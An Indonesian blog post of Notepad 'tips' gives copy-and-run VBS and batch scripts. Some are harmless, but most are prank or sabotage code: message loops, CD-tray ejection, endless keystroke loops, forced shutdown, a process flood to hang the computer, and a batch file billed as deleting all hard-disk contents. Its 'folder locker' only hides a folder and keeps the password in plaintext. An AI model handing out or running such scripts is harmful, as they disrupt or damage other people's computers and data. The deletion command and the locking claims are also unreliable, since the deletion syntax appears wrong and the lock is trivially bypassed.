Hal-Hal Yang Dapat Dilakukan Notepad

=============================================
=============================================

1. Tips Membuat Pesan Muncul Berulang-Ulang
Copy script dibawah ini dan paste di notepad anda.

@ECHO off
:Begin
msg * hahahhaa
msg * santai boss
msg * ini hanya main-main
msg * jangan marah ya
msg * hanya bercanda
GOTO BEGIN

Simpan dengan format *.bat.
Lalu buka file tersebut.

=============================================
=============================================

2. Tips Membuka Dan Menutup CD/DVD Komputer
Copy script dibawah ini dan paste di notepad anda.

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Simpan dengan format *.vbs.
Lalu buka file tersebut.

=============================================
=============================================

3.Tips Menulis Otomatis Di Notepad

Copy script dibawah ini dan paste di notepad anda.

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Tulisan ini akan menulis sendiri di notepad anda”
loop

Simpan dengan format *.vbs.
Lalu buka file tersebut.

=============================================
=============================================

4.Tips Membuat Terus-Menerus Menekan Tombol Backspace
Copy script dibawah ini dan paste di notepad anda.

MsgBox “Kembali ke menu sebelumnya”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

Simpan dengan format *.vbs.
Lalu buka file tersebut.

=============================================
=============================================

5.Tips Membuat Komputer Shutdown Dengan Muncul Pesan
Copy script dibawah ini dan paste di notepad anda.

@echo off
msg * Hahahahhaha
shutdown -s -c “Komputer anda mati”

Simpan dengan format *.bat.
Lalu buka file tersebut.

=============================================
=============================================

6.Tips Membuat Tombol Capslock Terus Menyala
Copy script dibawah ini dan paste di notepad anda.

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Simpan dengan format *.vbs.
Lalu buka file tersebut.

=============================================
=============================================

7. Tips Membuka Notepad Terus-Menerus

Copy script dibawah ini dan paste di notepad anda.

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Simpan dengan format *.bat.
Lalu buka file tersebut.

=============================================
=============================================

8. Tips Membuat Komputer Hang

Copy script dibawah ini dan paste di notepad anda.

option explicit

dim wshshell
set wshshell=wscript.createobject("wscript.shell")

dim x
for x = 1 to 100000000
wshshell.run "tourstart.exe"
next

Save notepad dgn nama "hang.vbs".

Lalu buka file tersebut.

=============================================
=============================================

9. Tips Menghapus Semua Isi Harddisk

Copy script dibawah ini dan paste di notepad anda.

@echo off
DEL C: -Y
DEL D: -Y

Save file dengan nama "Deleteall.bat".

Lalu buka file tersebut.

=============================================
=============================================
10. Tips Membuat Komputer Bicara
Copy script dibawah ini dan paste di notepad anda.

Dim pesan, sapi
pesan = InputBox ( "Apa yang Anda ingin saya katakan?", "Berbicaralah kepada-Ku")
Set sapi = CreateObject ( "sapi.spvoice")
sapi.Speak pesan

Simpan dengan format *.vbs.
Lalu buka file tersebut.

=============================================

=============================================

11. Tips Mengunci Folder Tanpa Software

Copy script dibawah ini dan paste di notepad anda.

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

Pada kata  type your password here ganti dengan password yang anda inginkan.
Save file dgn nama apapun dengan akhiran " .bat " . (Pada kotak pilihan "save as type" ubah ke "all files").
Double click pada file yang sudah disimpan diatas, maka muncul sebuah folder.
Masukkan folder anda ke dalam.
Kemudian buka file locker.bat sekali lagi maka akan ada tulisan "are you sure u want to lock the folder ? (Y/N) isikan dengan Y maka folder sudah tersembunyi.
Untuk membukanya buka file locker.bat kemudian isikan passwordnya maka folder akan kembali lagi.

=============================================
=============================================

Posted in: Tips Dan Trik